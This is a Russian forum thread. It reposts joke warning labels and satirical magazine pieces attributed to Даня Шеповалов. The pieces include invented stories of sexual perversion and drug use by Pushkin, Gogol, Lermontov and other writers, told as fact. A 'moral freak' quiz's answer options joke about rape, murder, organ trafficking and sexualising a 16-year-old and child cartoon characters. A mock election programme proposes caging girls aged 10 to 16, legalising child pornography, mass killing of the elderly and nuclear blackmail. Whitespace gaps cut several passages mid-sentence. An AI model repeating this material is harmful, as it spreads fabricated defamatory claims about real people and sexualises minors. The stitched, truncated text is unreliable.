ОТКРЫВАЙТЕ ДРУГОЙ РУКОЙ

Hа фене фирмы Sears
HЕ ИСПОЛЬЗУЙТЕ ВО СHЕ

Hа упаковке овального мыла
ИHСТРУКЦИЯ - ИСПОЛЬЗУЙТЕ КАК ОБЫКHОВЕHHОЕ МЫЛО

Hа коробочке с десертом Тирамису в магазине BILLA (напечатано снизу
коробочки)
HЕ ПЕРЕВОРАЧИВАЙТЕ ВВЕРХ ДHОМ

Hа пудинге от Marks & Spencer
ПОСЛЕ РАЗОГРЕВА ПРОДУКТ БУДЕТ ГОРЯЧИМ

Hа китайских гирляндах
ТОЛЬКО ДЛЯ ИСПОЛЬЗОВАHИЯ В ПОМЕЩЕHИИ ИЛИ СHАРУЖИ

Hа арахисе фирмы Sainsbury's
ПРЕДУПРЕЖДЕHИЕ - ПРОДУКТ СОДЕРЖИТ ОРЕХИ

Hа упаковке орешков  American Airlines
ИHСТРУКЦИЯ - ОТКРОЙТЕ УПАКОВКУ, СЪЕШЬТЕ ОРЕШКИ

Hа шведской электропиле
HЕ ПЫТАЙТЕСЬ ОСТАHОВИТЬ ПИЛУ СВОИМИ РУКАМИ ИЛИ ГЕHИТАЛИЯМИ (интересно,
на основании какого телефонного звонка от заказчика фирма была вынуждена
включить это предложение в инструкцию?)

Hа детском костюме Супермена
ДАЖЕ С ЭТИМ КОСТЮМОМ ВЫ HЕ СМОЖЕТЕ ЛЕТАТЬ

Hа шапочке для купания в отеле
ТОЛЬКО HА ОДHУ ГОЛОВУ

Hа упаковке от утюга Rowenta
HЕ ГЛАДЬТЕ ОДЕЖДУ HА ТЕЛЕ

Hа сиропе против кашля для детей от фирмы Boot's
HЕ УПРАВЛЯЙТЕ АВТОМОБИЛЕМ ИЛИ СТАHКОМ

Hа упаковке снотворного Nytol
ПРЕДУПРЕЖДЕHИЕ - МОЖЕТЕ ПОЧУВСТВОВАТЬ СОHЛИВОСТЬ

0

19

Недавно девчонки купили 8л джина на 4 пошли к еще одной девчонке и там немного побухали(да к томуже это все было сделано перед учебой) когда пришла мамка весь пол был мокрый, обблеванный, комната прокуренная, в ванне джин и они в нем плескаются. некоторые вообще не пришли в школу(Не дошли) пришло 2 человека одна из них дочка директора ну разборок там было (мммдаааа влетит же комуто седня!!!)

0

20

кстати пишите комментарии по теме а то я не знаю нужна ли она тут вообще!!!1

0

21

ну и всем будет интересно почитать про ДАНю ШЕПОВАЛОВа тк он настоящий моральный урод он может свободно кончить на портрет индиры ганди и изнасиловать бездомную дворняжку именно он валит вас письмами с покемоновой порнухой, урд недоделаный.
(честно по началу читал вообще фигня а потом втянулся да так разнесло что всееще не вытягивает)
   Общество книголюбов

"…Запомнился в сиську пьяный Дэн, который устроил стриптиз перед многочисленной толпой зевак. Он нещадно избивал свой член резиновым самотыком (уже побывавшем во многих местах), сладострастно обсасывал горлышко бутылки из под водки и орал что-то невразумительное. В конце концов Дэн рухнул на землю, обблевал кроссовки одного из зрителей и уснул, предварительно крикнув: "Pee on me, good people!" (Люди добрые, обоссыте меня всего!)…"

      Из воспоминаний современников о фестивале FURTHUR
   Да, угораздило же меня… Я не про резиновый член и кроссовки - это-то ладно, с кем не бывает. Я про то, что сейчас на кухне сделал несколько солидных глотков спрайта. Точнее это только бутылка была из-под спрайта, а налит в нее был туалетный утенок (прозрачное чистящее средство для WC). Так что сижу теперь за компьютером, пускаю мыльные пузыри изо рта и прикидываю, сколько еще часов мне осталось до мучительного конца. Ну а чтобы скоротать время, решил написать предсмертную статью (сохрани этот номер ][ - лет через десять за юани продашь как жуткий раритет). Причем решил написать не просто очередной параноидально-извращенческий бред, а реальную научную статью о литературе. Да-да, и не надо кидать в меня тухлыми яйцами, я сам знаю, какие ассоциации вызывает в твоем мозгу слово "литература". Долбанутая училка-шестидесятница, которая дня прожить не может без своего вымышленного библиофилического мира. Страшные слова "московский концептуализм" и "современный постмодернизм". Ну и конечно балы Наташи Ростовой, лучи света в темном царстве, твари дрожащие и прочая тоска. Но ты не боись - в школе не проходят того, о чем расскажет тебе сегодня Даня.


Ай да Пушкин, ай да сукин сын!

А расскажет тебе сегодня Даня об…эммм…особенностях характера великих российских писателей и поэтов. Вот например Александр Сергеевич - буквально светило мировой литературы, а какой человек интересный был…. Говорила ли тебе старенькая учительница литры, что по молодости Сашенька Пушкин не вылезал из борделей и знал всех питерских проституток по именам? Бывало даже хозяйка какого заведения подойдет к Пушкину и скажет: "Ах, Александр Сергеевич, ну будет вам моих девочек развращать! Еще раз начнете сразу над пятью моими красавицами глумиться - на порог не пущу!". Ты уж сам домысливай, чего он там с пятью тетками одновременно делал - фантазия у поэта о-го-го какая была. Ну про няню Сашеньки я лучше промолчу. Да и про счастливые лицейские годы тоже не стоит - эх молодость, молодость. А так вообще Саша оргии ох как любил. У него и подружка была некая З., которая меньше чем с пятью мужиками одновременно не спала. А Пушкин среди этих пяти вроде дирижера был…с палочкой. Бывало они всей компанией как нажрутся шампанского, да З. до потери сознания того…дирижируют. Пару раз даже врача вызывали ее откачивать. Жена Александра Сергеевича - Наталья Гончарова увлечений мужа не разделяла и была обычной светской дамой. Однако муженек насиловал ее до потери пульса и всячески глумился. Например запирался с женой в туалете и не выпускал, пока та не облегчится у него на глазах - очень уж он охочь был до таких дел. Однажды Пушкин предложил жене заняться групповым сексом с ее сестрой Азей. (С ней он спал давно, и та, в общем-то, не возражала). "Я знала, что ты извращенец, но не думала, что все настолько серьезно", - ответила Наталья. В борделях Саша отличался тягой подсматривать за посетителями через специальную дырочку. Так, кстати, с Дантесом и познакомился. Но Дантес Пушкину сразу не понравился - потому как гомосексуалистов Александр Сергеевич на дух не выносил. Зато уж насчет женского пола - тут Саше равных не было. Он спал со всеми служанками / знакомыми / случайными прохожими, которые только попадали в его поле зрения. Но о любимой Наташе никогда не забывал. "А ломалась - то, ломалась - то, помилуйте, матушка! Но была хороша-с, не обессудьте!" - обращался он жалобно к портрету жены после очередной победы на любовном фронте. Особенно, писал Пушкин в своих дневниках, ему нравилось заниматься сексом с кормилицами своих детей во время самого процесса кормления. Да и вид беременной Наташи его очень заводил. Именно поэтому Пушкин и оставил после себя такое многочисленное потомство. Ну а про "К кастрату раз пришел скрипач" и прочую гениальную поэзию Александра Сергеевича я распространяться не буду - думаю ты и так с ней хорошо знаком.


Брэйн дэмэдж

Миша Булгаков одно время подрабатывал хирургом в глухой смоленской деревушке. Ну и как водится сел на морфий - очень тогда популярно было такое дело среди хирургов. Бывало придет к аптекарю, сунет бумажку с требованием выдать сотню-другую ампул препарата и задумчиво этак себе под ноги смотрит. На вопрос "Зачем так много?" отвечал: "Да я ж не для себя - очень ваши бабы деревенские боли боятся". Придет потом домой, вмажется с толком и тут же шасть - "Мастера и Маргариту" писать. И очень нервничал, если его отвлекали: однажды в зашедшую в комнату жену зажженой керосинкой бросил, а потом всю ночь за ней с пистолетом носился. Еле его успокоили. Красавчик Набоков же больше кокаин любил, а под старость завсегда на сон грядущий папироску с анашой выкуривал - очень, как он говорил, способствует. Вообще Володя помимо лолит и кокаина увлекался замерами гениталий бабочек. Поймает, бывало, бедное насекомое - и давай его гениталии замерять, хлебом его не корми. Кстати, прослыл очень известным специалистом в этой области - все уважающие себя энтомологи знакомы с его научными работами. Во время ловли бабочек Набоков частенько любил подглядывать за спаривающимися животными - в эти моменты он очень сильно возбуждался, передергивал затвор и писал самые эротичные главы своей "Лолиты". Не дурак подр…извините, заняться мастурбацией был и Саша Блок. Однажды, доведя себя ночью до изнеможения, пошел делать предложение даме сердца и на всякий случай пистолет купил - застрелиться в случае отказа. Примечательно, что выбрал модель подешевле. Но больше всех среди великих русских писателей мастурбировал, конечно, Николай Васильевич Гоголь. Про эту его тягу даже анекдоты ходили непристойные. Однако личная жизнь Гоголя сложилась весьма трагично: он перенес серьезное потрясение, после которого любовь Николая Васильевича к мужчинам стала носить слегка некрофилический характер. Все дело в том, что на его руках умер граф Иосиф Виельгорский, за которым Гоголь ухаживал последние предсмертные часы. С тех пор Николай Васильевич обращал внимание только на хорошеньких бледно-болезненных юношей. Вояка Миша Лермонтов же больше предпочитал румяных мальчиков. В количестве, заметьте, не менее шестнадцати. Помимо "Мцыри" и всяческих белеющих парусов Михаил Юрьевич написал одно крайне занимательное стихотворение "Не води так томно оком, Круглой жопкой не верти", которое посвятил своему близкому другу Пете Тизенгаузену.


Герои нашего времени

Некоторые мои коллеги считают, что мой же тезка - Даниил Хармс частенько бегал по дому абсолютно голый, с трубкой в зубах, показывал соседке в окно жуткую мохнатую задницу и колотил жилистым членом по кастрюльке на кухне. Такой версии, в частности, придерживается уважаемый Себастьян Найт. Однако другие исследователи уверены, что Хармс колотил членом не по кастрюльке, а по гипсовому бюсту Платона, с коим имел некоторые разногласия. Вундеркинд несколько другого рода - Сережа Есенин вел себя куда как более скромнее. Бывало встанет с постели, пнет лежащего голой задницей кверху Толика Мариенгофа и сразу же на вокзал - домой его тянуло со страшной силой, прочь от грязной суеты большого города. Приезжает он, значится, на Казанский вокзал, заходит в ресторан, да там и остается. Ох и мастак был водочкой до фиолетовых чертей нажраться. Редкие разы до родного своего села Константиново доезжал. Ну Мариенгоф его всегда, конечно, до постели назад доволакивал. Однако неблагодарное это занятие было - Есенин по пьяни вечно орал: "Куда ты меня тащишь, грязный педик!?" и бил Толику морду. Потом конечно слезно извинялся и писал гениально-чувственные стишки для замоскворецких барышень. Опять же у моего уважаемого коллеги Себастьяна Найта существует мнение, что когда Сережа все-таки доезжал до родного села, то нажирался там в сисю ершом и лазал в хлев трахать скот. Но это все мужчины. А о женщинах в общем-то и говорить практически нечего. Как никогда не существовало достойных женщин-философов, точно так же и не было реальных извращенок среди слабого пола, увлеченного российской словесностью. Лесбиянка Марина Цветаева, фактически гермафордит Зинаида Гиппиус (печаталсь под псевдонимом Антон Крайний), бисексуальная похотливая Анна Ахматова - вот и весь скудный запас "наших" девчонок.


Также хочется сказать несколько теплых слов о незабвенном Федоре Михайловиче Достоевском. Хотя нет - не успею, уже в глазах троится и сознание сильно спутано, так что похоже скоро на заслуженный отдых. Ну тогда напутствие: бери этот номер ][ и отправляйся к своей учительнице литературы (если уже давно школу закончил - на вечере встречи выпускников ее выцепи). Покажи ей эту статью, пристально посмотри в глаза и спроси, по какому праву детей с ранних лет пичкают якобы бессмертными творениями сборища извращенцев, наркоманов и ярко выраженных шизофреников? Далее текст обрывается. Вызванные соседями медики обнаружили Даню мертвым, лежащим в луже пенистой блевотины. В правой руке он сжимал свой посиневший член, а в левой - фотографию Владимира Владимировича Путина.

Внимание: возможно часть вопросов из этого теста покажется вам неприкрытым сатанизмом и просто потрясет своей чудовищностью. Однако не спешите делать выводы: изначально здесь было 50 вопросов, но Холод пропустил к печати всего лишь 10. Ооо, если бы вы только видели эти 40 шедевров космического цинизма...


Байки из...

Вот вы говорите "Шеповалов - моральный урод!", "Шеповалов - моральный урод!"...а это понятие ох какое тонкое. Вот, например, реальный случай из жизни. Встретился я однажды с двумя амигосами пива попить, погулять по весеннему Питеру, теток заценить..в общем ясно. Однако примечательно то, что встретились мы в Катином садике - местечке, где частенько тусуют представители сексуальных меньшинств. Мы же забились там без всякой задней мысли - просто уютный садик в самом центре города. ("Ага, рассказывай сказки", - подумал проницательный читатель). И так уж вышло, что туда мы явились одетые абсолютно одинаково: бежевые брюки и такого же цвета обтягивающая футболка. Совпадение блин - ну с кем не бывает. Так вот, значит, сидим мы, потихоньку замедляем работу мозга любимой янтарной жидкостью, наслаждаемся солнышком и весенним оживлением гормонов. Мимо величественной походкой проплывают две относительно смазливые тетки. Одна презрительно смотрит на нас, затем поворачиваетс                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                стоя. Моральный урод говорит то, что думает и делает то, что хочет, а не погружается в бездну сомнительных запретов и нравственных устоев. Только он - действительно свободный человек, который стоит гораздо выше животной потребности общества "выжить любой ценой". Так что быть моральным уродом - это большая честь, которая достается далеко не каждому человекообразному существу. Ты хочешь знать, повезло ли тебе? Мы угадываем желания - неутомимый ][ представляет твоему вниманию экспресс-тест на данную тематику. Просто выбери вариант ответа на каждый из приведенных ниже вопросов и сложи вместе числа, стоящие перед этими вариантами.


Допустим ты сидишь в переполненном вагоне метрошного поезда. Перед тобой стоит усталая старушка с тяжелыми сумками...не, лучше беременная женщина...или во: перед тобой стоит усталая, беременная, одноногая старушка с двумя спортивными сумками и громадным рюкзаком за плечами. Что будешь делать?

1. Конечно же немедленно уступлю ей место и помогу с вещами.
2. Закрою глаза и притворюсь спящим, предварительно включив на максимум плейер, чтобы никто не докопался.
3. Тут же закурю свой любимый "Беломор" и постараюсь как можно чаще пускать бабке дым в лицо.
4. Немедленно дерну стоп-кран, чтобы тупая старуха упала на пол и свернула себе шею рюкзаком. Как же меня раздражают все эти метрошные кретины с баулами!


Представь, что ты вместе с любимой девушкой гуляешь по своему городу. И вот, в одном из самых опасных районов (местном Гетто) до вас докопалась компания пьяных подонков. Твои действия?

1. Попытаюсь решить вопрос мирным путем, все люди братья!
2. У меня достаточно мужества, чтобы защитить свою девушку. Я покажу этим уродам, на что способен настоящий мужчина.
3. Естественно, я тут же подорвусь и буду бежать не оглядываясь как минимум километра три-четыре.
4. Скажу: "Пацаны, я гуляю с этой чиксой уже второй день, а она все еще строит из себя Клару Цеткин. Значит расклад такой: сначала я с ней развлекаюсь минут двадцать, а потом ее ротик к вашим услугам".
5. По быстрому порву на подружке ее вечернее платье и зазывающим тоном начну спич: "Только у нас: лучшие девушки города! Тридцать долларов в час! Подросткам, бандитам и жителям спальных районов - скидка 60%!".


Представь, что в твою дверь постучались двое детей: слепой мальчик с ампутированной рукой и девочка, больная раком крови. Им негде жить, нечего есть и нужны деньги на лечение девочки. Ты поможешь несчастным?

1. Конечно! Всех нужнее и доро-оо-же, все-ее-х таинственней и стро-оо-же в этом мире доброта...в ээ-том мире доб-ро-та!
2. Мне бы самому кто помог - второй месяц без интернета сижу.
3. А-ха-ха...Малолетние уроды! (показываешь на них пальцем и просто умираешь со смеху)
4. Да, конечно, помогу! Проходи, девочка, раздевайся. А ты, мальчик, извини - я только девочкам помогаю...
5. Мальчик, а у тебя сердце здоровое? Точно? А печень? Папа не пил, надеюсь? Ах нету папы...отлично! А мама есть? И мамы нету...стало быть вас никто искать не будет. Замечательно! Девочка, ты не стесняйся - иди на кухню, топор наточи - скоро обедать будем. Да, и приготовься - завтра один дядя с Тверской даст тебе очень хорошую работу. Блин, куда ж я телефон того врача-трансплантолога подевал...


Сидишь ты на лавочке с друзьями, потягиваешь пиво из бутылочки - в общем наслаждаешься жизнью. И тут к вам подходит бабка с авоськой, полной стеклотары, и просит разрешения взять пустые бутылки. Как ты себя поведешь в этой ситуации?

1. Помогу ей сложить бутылки в сумку и отдам всю оставшуюся мелочь - все-таки очень нелегко старикам в наше время, быть может и мне когда-нибудь кто-то так поможет.
2. Скажу: "Вали отсюда нафиг, старая карга, мы не лохи - сами все сдадим!"
3. Демонстративно разобью все пустые бутылки о край скамейки и зальюсь гомерическим хохотом.
4. Отберу у бабки авоську и со всей силы двину ей в табло. Ну а затем, естественно, обшмонаю на предмет наличия свободных денежных средств.


Что ты говоришь понравившейся тебе девушке при уличном знакомстве?

1. Как только я взлянул на тебя, мое сердце взорвалось на миллион осколков от беспредельной всепоглощающей любви. Возьми меня и делай все, что захочешь - я буду твоим рабом миллион дней и ночей.
2. Хочешь, я угадаю как тебя зовут?
3. Девушка, на самом деле я пассивный педо-некро-зоофил, но ради вас могу изменить своим принципам.
4. Девушка, не подскажите ли, где здесь ближайший бордель?
5. Эй, чувырла, может угостишь меня кружечкой холодного пивка?


Твоего лучшего друга бросила любимая девушка. Он решил свести счеты с жизнью и выпил пять упаковок "Туалетного утенка". Только ты можешь спасти его от неминуемой гибели. Твои действия?

1. Немедленно позвоню в скорую помощь, а затем попытаюсь собственными усилиями реанимировать его (переверну на живот, вызову рвотный рефлекс, засунув два пальца в рот итд...).
2. Похлопаю старика Макса по плечу (типа все товарищи желают вам счастливого полета) и начну читать ему вслух "Тибетскую книгу мертвых".
3. Для надежности волью в него еще парочку упаковок "Утенка" - уж очень мне подружка Макса в сердце запала.
4. Стяну с него штаны и грязно надругаюсь, пока он еще тепленький. Затем разрублю на куски и скормлю псу по кличке Трансформер, чтобы избавиться от улик.
5. Ты думаешь, он самостоятельно "Утенка" напился, без моей помощи? (снова звучит чудовищный хохот)


Представь, что ты позакомился с милой, обаятельной девушкой. Ты целый месяц (Кто фантаст? Я фантаст? Ну ладно - пусть будет "целых три дня") очень красиво ухаживал за ней: дарил цветы, писал ее имя под окнами на асфальте, пел серенады - в общем, все дела. И вот наступил заветный вечер, когда она у тебя дома и самое время всласть подомогаться того, зачем тебе она собственно и была нужна. Но в тот самый момент, когда ты уже пристроился трахать ее между грудей, тетка вдруг начинает гнать пургу из цикла "Давай останемся друзьями". Твои действия?

1. Я должен уважать чувства другого человека! Конечно, я тут же перекращу какие-либо сексуальные поползновения в отношении нее. В конце концов, главное - это духовное общение и эмоциональная близость между людьми.
2. Заряжу ей табуреткой в табло - только так, по всем понятиям.
3. Заряжу ей табуреткой в табло, а затем выполню свою мужскую миссию.
4. Заряжу ей табуреткой в табло, выполню свою мужскую миссию, расчленю тело на куски и надругаюсь над каждым в отдельности. Затем я вступлю в профашистскую организацию "Нацизм без границ" и посвящу всю свою оставшуюся жизнь развязыванию Третьей Мировой Войны (непременно термоядерной) со страниц ][.


Допустим, некий миллионер объявил, что заплатит 500 тысяч бакинских за минет, сделанный ему симпатичным юношей. Причем эту тему будут показывать в прямом эфире все телеканалы планеты. Как ты отреагируешь на подобное заявление?

1. Я никогда не пойду на такое. Даже если бы все это осталось в абсолютной тайне. По-моему, честь и самоуважение гораздо выше каких-то грязных денег.
2. Подожди, 500 штук зеленых...это будет...
3. По всем каналам, говоришь? Где можно записаться? Кто последний?
4. Да-да, все это абсолютная правда: я заплачу 500 тысяч долларов за один минет!


Твой брат уехал на месяц в Африку и оставил на твое попечение свою 16-летнюю дочурку. Как ты будешь ее развлекать?

1. Мы будем ходить по музеям и посещать театральные премьеры. В этом возрасте очень важно направить энергию взрослеющего ребенка в позитивном направлении. Следует воспитать любовь к культуре и искусству.
2. Пиво с воблой - вот что нужно растущему организму.
3. 16 лет....ооо, какая у них в этом возрасте грудь, ооо...конечно же мы будем ходить по музеям!!!
4. Будет на подхвате у моего знакомого пушера - вот настоящая школа жизни.
5. Попалась, сучка!!!


Ну и, наконец, последний вопрос. Он нужен для того, чтобы установить твои сексуальные пристрастия: какая пара из "Симпсонов" тебя больше всего возбуждает?

1. Мардж и Гомер
2. Барт и Лиза
3. Барт и Мэгги
4. Барт и Милхаус
5. Смиттерс и Монтгомери Бернс


РЕЗУЛЬТАТЫ:

от 1-го до 15-ти баллов: посмотри в зеркало: над твоей головой висит светящийся нимб. После смерти ты попадешь в рай и все такое, но на этой планете, чувак, тебе тяжело придется. В качестве легкой депрессивной психо-терапии, рекомендую тебе ежедневно смотреть милицейскую хронику, а также познакомиться с творчеством Владимира Сорокина.

от 16-ти до 30-ти баллов: золотая середина: на то, чтобы рубить иконы перед Храмом Христа-Спасителя тебя, конечно же, не хватит...а вот оказаться редактором ][ ты можешь очень даже запросто. :) Проживешь достойную жизнь и, понятно, загремишь в ад. Но не боись - там тоже можно договориться с кем надо и записаться в полицаи.

от 31-го до 47-ми баллов: Ты настоящий МОРАЛЬНЫЙ УРОД! Так тебя называют все знакомые девушки, юноши, бабушки, собачки, маленькие ослики и заводные черепашки-ниндзя. Ты свободно можешь кончить на портрет Индиры Ганди и изнасиловать бездомную дворняжку. И именно ты завалил меня письмами с покемоновой порнухой. УРОД НЕДОДЕЛАННЫЙ!

50 баллов: а 50 баллов набрал, конечно же, наш неутомимый Даня. Ну и кто он после этого?

Лучше замочить Шеповалова прямо сейчас, пока он не начал воплощать свои идеи в жизнь!

                    Алексей Челентано, маньяк-убийца и насильник бразильских старушек
   Зигхайль, православные! Если честно, я не особо люблю политику. Когда меня спрашивают, за кого я голосовал на прошедших выборах президента РФ, я честно отвечаю - за мир во всем мире. Этот пункт я дописал в избирательном биль..бюлл, короче в избирательной бумажке и поставил напротив него символическое изображение фаллоса (было разрешено рисовать любой значок в качестве отметки). Однако, по всему выходит так, что мой голос не учли. Фракции, импичменты, ввод миротворческих сил эсэс, хинди руси пхай-пхай - имхо все это полный отстой, ненужный разумному человечеству. Понаставили границ, уроды феодальные, и прутся от осознания своей вселенской значимости. Не, ну средние века просто. Однако милосердный Эрегированный Космос сжалился над беспросветным человечеством и послал на Землю меня, аватару порочной истины. Моя миссия - стать президентом всея планеты и наставить ее на праведный путь. Россия же была выбрана в качестве пукта десантирования, поскольку здесь находится основная масса термоядерного оружия, благодаря которому...в общем неважно. Главное - я любой ценой должен стать президентом РФ. И надеюсь ты мне в этом поможешь. А чтобы ты точно знал, что отдаешь свой голос не за очередного дядюшку Зю, а за реального мессию в сверкающих доспехах, я приведу ниже свою краткую программу действий по переустройству мира. Итак, избирательная программа Данечки, кандидата в президенты от Партии Поврежденного Сознания при поддержке всепланетного движения "Мировая Термоядерная Война":


Лучшая подружка - мертвая старушка

Значит так, одним махом решаем проблему нехватки жилья и социальных дотаций: отправляем в крематорий всех товарищей старше пятидесяти лет. Извини, батя, и тебя тоже отправляем - никаких исключений. Освободившиеся от старперов особняки и многокомнатые квартиры будут бесплатно отданы молодежи, а пенсионные деньги направим на строительство трехсотметрового памятника Величайшему Дане, который будет целиком выплавлен из платины и украшен драгоценными камнями. Полноценными членами общества будут считатся только люди в возрасте от 17 до 30 лет. Только они будут иметь право голоса. Девушек в возрасте от 10 до 16 лет будут содержать в клетках и кормить с шеста, чтобы они не раздражали своим поведением и внешним видом достойнейших членов социума. Парням в период полового созревания будут выдаваться специальные талончики на сексуальную реализацию, по которым им обязана дать любая тетка. В случае отказа она будет расстреляна на месте мобильным отрядом быстрого реагирования. По достижении тридцатилетнего возраста человек сразу же теряет все свои гражданские права и переводится на пожизненную принудительную работу в один из трудовых анклавов. Там люди будут заниматься рубкой леса, добычей оружейного плутония и прочими общественно-полезными делами. А чтобы им не было обломно - будет произведена массовая лоботомия с превращением их в зомби. В качестве альтернативного варианта им будет предлагаеться безболезненная смертельная инъекция с последующим использованием органов в медицинских и научных целях.


Я другой такой страны не знаю...

Повсеместно будет внедрена золотая мечта моего детства - генетический контроль рождаемости. По достижении 21-го года каждый человек подвергнется тотальному медицинскому обследованию, в результате которого будет выяснено, нужен ли его генофонд нашей стране. В случае положительного результата берется образец репродуктивных клеток (спермы etc), а хьюман подвергается принудительной стерилизации. Дальнейшую заботу о продолжении рода возьмет на себе Институт Генетической Культуры и Совершенстования Вида. За попытку рождения человеческого существа естественным путем будут четвертовать и вырывать ноздри. Только перейдя к искусственному отбору человечество по праву сможет считаться цивилизованным. Институт брака полностью упраздняется. Объявляется полнейшая сексуальная свобода: при предъявлении справки о своей половой стерильности будет разрешено заниматься групповым сексом хоть на Красной площади. Везде у власти будут стоять предельно сумасшедшие люди, которых наберут из палат тихопомешанных. Я считаю, что человек, который всю жизнь тихо улыбается загадочной улыбкой, точно сможет сделать для своей страны гораздо больше, чем "нормальный" умник, озабоченный тем, как бы своровать лишнюю пару-тройку миллионов. Каждому человеку в мозг будет вживлен чип с подобной инфой о челе (идентификационный номер, возраст, группа крови итд) с возможностью передачи визуальной информации с сетчатки глаза в разведцентр, также будет доступен режим самоликвидации человека, когда по специальному сигналу у него в башке произойдет направленный микровзрыв. Устройство самоуничтожения будет автоматически срабатывать при словах "Надо свергнуть президента, революция, восстание, сопротивление, Шеповалов - кретин", а также на ряд других фраз. В качестве бонуса, чтобы народ не протестовал против вживления микрочипов, в голову будет также встраиваться портативный мп3-приемник, который по голосовой команде будет скачивать любую музыку со спутника и напрямую проигрывать ее на слуховые рецепторы. Во всех видах транспорта и общественных местах будут установлены громадные видео-экраны с пропогандой существующего строя, каждые пять минут будет появляться лично Сам Даня. Он будет единственным правителем на все времена - его мозг извлекут из тела и поместят в питательный раствор. Контейнер же c мозгом скорее всего отправят на лунную базу, чтобы оттуда в полнейшей безопасности он бессменно руководил человечеством. За любые агрессивные выпад на существующий политический уклад, человек будет направляться на опыты ученым - там его будут помещать в ускоритель элементарных частиц, обливать кислотой, облучать икс-рэями итп.


По тундре...по железной дороге

Уголовный кодекс мы сведем к минимуму. Будут легализованы проституция, клонирование, наркотики, массовые самоубийства, детская порнография и прочее-прочее-прочее. Мы построим целые преступные мега-порталы. Сектор 7: 15 кубических километров интергалактического борделя, где любой желающий сможет трахнуть все что заблагорассудится в какой угодно манере. Пускай там наряжаются в Буратино и бьют семихвостной плеткой Мальвину с Карабасом-Барабасом, в Секторе 7 это позволено. Сектор 14: здесь будут сплошные отсеки с наркоманами, которым через катетор в кровь непрерывно поступает произведенный на фабрике транк - не вопрос. Сектор 23, уровень F: тут царит полная анархия, вход на свой страх и риск - могу изнасиловать, убить, расчленить, сжечь и дезинтегрировать личность. И никого за подобные дела никуда не посадят - здесь это дозволено. Весь доход от преступных мега-порталов пойдет на благотворительные цели. Если же кто-то совершает любое (даже абсолютно незначительное) преступление вне мега-портала - его тут же разрезают на кусочки и сдают на собачий корм. Без всяких адвокатов, судов, следствия и тюрем. Многочисленная армия распускается - в действии остаются только ракетные войска стратегического назначения и военно-морской флот (подводные лодки у берегов Калифорнии). Всему миру мы заявляем, что в случае любой агрессии извне или если нам просто что-то не понравится - тотчас захрначим в район действий 500-600 мегатонную боеголовку. Нам пофигу, а вам умом Россию не понять.


Через тернии к звездам

В скором времени вся планета признает всепобеждающую силу подобных идей и присоединится к счастливой России. Если же не признает, то Великий Сам сделает официальное заявление следующего рода: "Дорогие иностранные друзья, я псих, мне все пофигу. Если вы не присоединитесь к России в течении 24-х часов, то вся разумная жизнь на планете будет уничтожена массивной термоядерной атакой. Уже сейчас я держу в руках коды запуска межконтинентальных баллистических ракет стратегического назначения, так что если вы не хотите встречать Новый Год ядерной зимой - объявляйте свои страны провинциями России со столицей в Арзамасе-16". И тогда вся планета превратится в одно большое государство, а в дальнейшем - в единый громадный мегаполис из стали и бетона. А чтобы общество было сплоченым, мы придумаем внешнего врага - инопланетных высасывателей мозга из созвездия Тельца. И будем разрабатывать гипер-позитронное оружие, которым можно взорвать всю Вселенную, а не только нашу планету. Человечество - это идеальное средство самоуничтожения, которое придумала природа для самой себя. Мы должны выполнить свою задачу! Голосуй за Даню и через пять лет темнокожие подростки в центре Вашингтона будут продавать лимонад "Буратино", ругаясь отборным русским матом!

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                е журнал? Ну-ка вали отсюда пока и на тебя смирительную рубашку не одели.

0

22

а вот еще про даню если понравилось пишите пришлю еще
   Как избавиться от бойфренда

   Сегодня речь пойдет не о скромном быте смазливых педерастичных морячков-папаев, как уже скорее всего решили самые эрудированные читатели, бросив ясный взгляд на название атикла. Сегодня, пацаны, я сделал всем нам реальную подставу. Сегодня, первый раз за свою жизнь, я написал статью, которая посвящена исключительно девушкам. (Акела промахнулся! Акела промахнулся! - прим. мертвого слоника по кличке Смайл). Но я все могу объяснить. (Что-то последняя моя фраза черезчур попахивает дешевыми сериалами). Вот смотри, почему я вообще не хочу иметь детей? Если родится мальчик - это клево, можно будет воспитать его настоящим мужчиной, ходить вместе на рыбалку, пить березовый сок на набережной, в общем все дела. А если девочка? Тогда через 17-19 лет она превратится в ослепительную половозрелую красавицу и....КАКОЙ-ТО КРЕТИН БУДЕТ ЕЕ ТРАХАТЬ!!! Ты только представь: мою милую дочурку, принцесcу, рыбку будет пошло иметь во все места какой-то озабоченный волосатый урод. (Сам урод! - прим. ослика Феди). Девушки, опомнитесь! Перестаньте отдавать свою любовь и тело всем этим потным мужланам, эмоциональным кастратам и фригидным компьютерщикам. Подумайте об обливающихся кровью сердцах ваших отцов. Воспользуйтесь приведенным ниже священным мануалом по киданию бойфренда и поживите в гордом одиночестве лет 8-10. А потом вы все равно уже никому не нужны будете...


1. Кончай его

Лежа с ним в постели после страстного и бурного секса, когда он уже находится в полусонном благостном состоянии аля "Welcome to Nirvana", начни жестко и настойчиво грузить его на тему вашего материального благосостояния и светлого будущего. Скажи: "Дорогой, у нас ведь будет много детей, правда? Наверное восемь...а может даже и все десять. Я буду целыми днями их няньчить и хлопотать по хозяйству. А ты будешь зарабатывать деньги и приходить вечером в наш уютный домик на Лазурном берегу, ко мне и детям. Только, милый, тебе придется очень много работать. Я не хочу всю жизнь прожить в этом обшарпаном сарае вместе с твоим гуимпленом-братом. Так что ты должен стать как минимум членом совета директоров крупной корпорации. Я уже выкинула все твое пиво из холодильника, спустила в туалет сигареты и сказала твоим друзьям-тунеядцам, что ты больше не желаешь их видеть. Я правильно поступила, котик? Да, и перестань шляться по этим сомнительным клубам и вечеринкам. Ты ведь прямо завтра уже должен начать готовиться к своей новой блестящей карьере. Кстати, твои билеты на футбольный матч "Спартак-Зенит" я поменяла на театральный абонемент для нас двоих...я подумала, что театр серьезно расширит твой кругозор. Ну скажи, что я у тебя умница! Что ты все молчишь да молчишь, поговори со мной!".


2. Павлик.ру

Я думаю, сладкая моя, что в твоей жизни был далеко не один замечательный мальчик. Так вот ты слегка напрягись и вспомни самого-самого замечательного из них. Допустим, его зовут Павлик. (Неа, его зовут Ашок Тураганян - прим. ослика Феди). Теперь твоя задача: постоянно упоминать имя этого Павлика всуе, сравнивая его несравненные достоинства с жалкими характеристиками неугодного бойфренда. Чтобы тебе легче было понять, как именно себя надо вести, я приведу ниже ряд примерных фраз, которые тебе следует периодически как бы невзначай бросать своему надоевшему дружку:
"Павлик бы за пять минут починил эту злосчастную машину. А у тебя руки просто не из того места растут."
